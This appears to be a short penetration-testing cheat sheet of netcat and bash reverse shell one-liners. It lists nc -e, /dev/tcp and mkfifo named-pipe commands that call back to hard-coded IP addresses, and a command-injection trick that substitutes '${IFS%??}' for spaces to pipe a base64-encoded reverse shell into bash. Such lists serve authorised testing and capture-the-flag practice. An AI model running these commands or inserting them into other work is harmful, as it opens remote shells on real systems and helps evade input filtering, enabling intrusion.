Netcat

Reverse shell

Normal:

nc -e /bin/sh 192.168.49.144 8008
/bin/bash -i >& /dev/tcp/192.168.49.137/8088 0>&1
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.16/8080 0>&1'

Good if normal doesn’t work:

rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|/bin/sh -i 2>&1| nc 192.168.119.198 60000 >/tmp/g

When executing if needed add "${IFS%??}" as spaces to work with the linux envs e.g.

;${IFS%??}echo${IFS%??}"L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjEyOS84MDA4IDA+JjEK"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;

Last updated